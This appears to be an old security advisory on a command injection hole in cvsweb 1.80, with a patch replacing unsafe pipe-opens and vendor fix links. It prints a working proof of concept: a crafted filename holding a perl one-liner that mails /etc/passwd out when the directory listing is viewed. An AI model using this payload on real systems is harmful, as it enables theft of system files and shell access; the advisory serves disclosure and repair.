COMMAND
cwsweb
SYSTEMS AFFECTED
cwsweb 1.80
PROBLEM
Joey Hess found following. Cvsweb 1.80 contains a hole that
provides attackers who have write access to a cvs repository with
shell access. Thus, attackers who have write access to a cvs
repository but not shell access can obtain a shell. In addition,
anyone with write access to a cvs repository that is viewable
with cvsweb can get access to whatever user the cvsweb cgi script
runs as (typically nobody or www-data, etc).
An attack looks something like this:
SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE
Then the attacker either visits the cvsweb page that is a
directory listing for the directory they put the trojan file in,
or they wait for someone else to do the same. Views of this page
cause the command to be executed, mailing /etc/passwd to the
attacker or [insert something more nasty here].
Of course, the attacker has left quite a trail: web server log
entries and odd looking files in the cvs repository with the
attacker's name on them.
The code that is being exploited here is the following:
open($fh, "rlog '$filenames' 2>/dev/null |")
Cvsweb is littered with possibly exploitable pipe-opens like this
one.
SOLUTION
A patch for all of them follows. This is against cvsweb 1.80
from
http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/
(version 1.86 has now been released, closing the hole):
--- cvsweb.cgi 2000/05/24 07:10:31 1.10
+++ cvsweb.cgi 2000/07/07 03:32:21
@@ -1185,23 +1185,22 @@
}
if (defined($rev)) {
- $revopt = "-r'$rev'";
+ $revopt = "-r$rev";
}
else {
$revopt = "";
}
- # this may not be quoted with single quotes
- # in windows .. but should in U*nx. there
- # is a function which allows for quoting `evil`
- # characters somewhere, I know (buried in the Perl-manpage)
- ##
### just for the record:
### 'cvs co' seems to have a bug regarding single checkout of
### directories/files having spaces in it;
### this is an issue that should be resolved on cvs's side
- open($fh, "cvs -d'$cvsroot' co -p $revopt '$where' 2>&1 |") ||
- &fatal("500 Internal Error", "Couldn't co: $!");
+ #
+ # Safely fork a child process to read from.
+ if (! open($fh, "-|")) { # child
+ open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
+ exec("cvs", "-d$cvsroot", "co", "-p", $revopt, $where);
+ }
#===================================================================
#Checking out squid/src/ftp.c
#RCS: /usr/src/CVS/squid/src/ftp.c,v
@@ -1298,7 +1297,7 @@
sub doDiff {
my($fullname, $r1, $tr1, $r2, $tr2, $f) = @_;
my $fh = do {local(*FH);};
- my ($rev1, $rev2, $sym1, $sym2, $difftype, $diffname, $f1, $f2);
+ my ($rev1, $rev2, $sym1, $sym2, @difftype, $diffname, $f1, $f2);
if ($r1 =~ /([^:]+)(:(.+))?/) {
$rev1 = $1;
@@ -1333,25 +1332,25 @@
}
my $human_readable = 0;
if ($f eq 'c') {
- $difftype = '-c';
+ @difftype = qw{-c};
$diffname = "Context diff";
}
elsif ($f eq 's') {
- $difftype = '--side-by-side --width=164';
+ @difftype = qw{--side-by-side --width=164};
$diffname = "Side by Side";
}
elsif ($f eq 'H') {
$human_readable = 1;
- $difftype = '--unified=15';
+ @difftype = qw{--unified=15};
$diffname = "Long Human readable";
}
elsif ($f eq 'h') {
- $difftype = '-u';
+ @difftype =qw{-u};
$human_readable = 1;
$diffname = "Human readable";
}
elsif ($f eq 'u') {
- $difftype = '-u';
+ @difftype = qw{-u};
$diffname = "Unidiff";
}
else {
@@ -1361,22 +1360,19 @@
# apply special options
if ($human_readable) {
if ($hr_funout) {
- $difftype = $difftype . ' -p';
+ push @difftype, '-p';
}
if ($hr_ignwhite) {
- $difftype = $difftype . ' -w';
+ push @difftype, '-w';
}
if ($hr_ignkeysubst) {
- $difftype = $difftype . ' -kk';
+ push @difftype, '-kk';
}
}
-## cvs rdiff doesn't support '-p' and '-w' option .. sad
-# open($fh, "cvs -d $cvsroot rdiff $difftype " .
-# "-r$rev1 -r$rev2 '$where' 2>&1 |")
-# || &fatal("500 Internal Error", "Couldn't cvs rdiff: $!");
-###
- open($fh, "rcsdiff $difftype -r$rev1 -r$rev2 '$fullname' 2>&1 |")
- || &fatal("500 Internal Error", "Couldn't GNU rcsdiff: $!");
+ if (! open($fh, "-|")) { # child
+ open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
+ exec("rcsdiff",@difftype,"-r$rev1","-r$rev2",$fullname);
+ }
if ($human_readable) {
http_header();
&human_readable_diff($fh, $rev2);
@@ -1402,7 +1398,7 @@
#--- src/sys/netinet/tcp_output.c 1995/12/05 17:46:35 1.17 RELENG_2_1_0
# (bogus example, but...)
#
- if ($difftype eq '-u') {
+ if (grep { $_ eq '-u'} @difftype) {
$f1 = '---';
$f2 = '\+\+\+';
}
@@ -1455,15 +1451,19 @@
return;
}
- my ($filenames) = join("' '",@files);
if ($tag) {
#can't use -r<tag> as - is allowed in tagnames, but misinterpreated by rlog..
- open($fh, "rlog '$filenames' 2>/dev/null |")
- || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
+ if (! open($fh, "-|")) {
+ close(STDERR); # rlog may complain; ignore.
+ exec("rlog",@files);
+ }
}
else {
- open($fh, "rlog -r '$filenames' 2>/dev/null |")
- || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
+ my $kidpid = open($fh, "-|");
+ if (! $kidpid) {
+ close(STDERR); # rlog may complain; ignore.
+ exec("rlog","-r",@files);
+ }
}
$state = "start";
while (<$fh>) {
@@ -1591,7 +1591,7 @@
}
if ($. == 0) {
fatal("500 Internal Error",
- "Failed to spawn GNU rlog on <em>'$filenames'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
+ "Failed to spawn GNU rlog on <em>'".join(", ", @files)."'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
}
close($fh);
}
@@ -1618,9 +1618,14 @@
undef %log;
print("Going to rlog '$fullname'\n") if ($verbose);
- open($fh, "rlog $revision '$fullname'|")
- || &fatal("500 Internal Error", "Failed to spawn rlog");
-
+ if (! open($fh, "-|")) { # child
+ if ($revision ne '') {
+ exec("rlog",$revision,$fullname);
+ }
+ else {
+ exec("rlog",$fullname);
+ }
+ }
while (<$fh>) {
print if ($verbose);
if ($symnames) {
For Linux-Mandrake:
7.1/RPMS/cvsweb-1.80-3mdk.noarch.rpm
7.1/SRPMS/cvsweb-1.80-3mdk.src.rpm
For Debian Linux:
http://security.debian.org/dists/stable/updates/source/cvsweb_109.dsc
http://security.debian.org/dists/stable/updates/source/cvsweb_109.tar.gz
http://security.debian.org/dists/stable/updates/binary-all/cvsweb_109_all.deb
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb
http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.diff.gz
http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.dsc
http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86.orig.tar.gz
http://http.us.debian.org/debian/dists/woody/main/binary-all/devel/cvsweb_1.86-1.deb
For TurboLinux:
ftp://ftp.turbolinux.com/pub/updates/6.0/security/cvsweb-1.91-3.noarch.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/cvsweb-1.91-3.src.rpm
SuSE-Linux either does not contain these packages or the files
therein causing the publically announced security vulnerabilities.
For FreeBSD deinstall the cvsweb port/package, if you you have
installed it. One of the following:
1) Upgrade your entire ports collection and rebuild the cvsweb
port.
2) Deinstall the old package and install a new package dated
after the correction date, obtained from:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/devel/cvsweb-1.93.1.10.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/cvsweb-1.93.1.10.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/devel/cvsweb-1.93.1.10.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/cvsweb-1.93.1.10.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/devel/cvsweb-1.93.1.10.tgz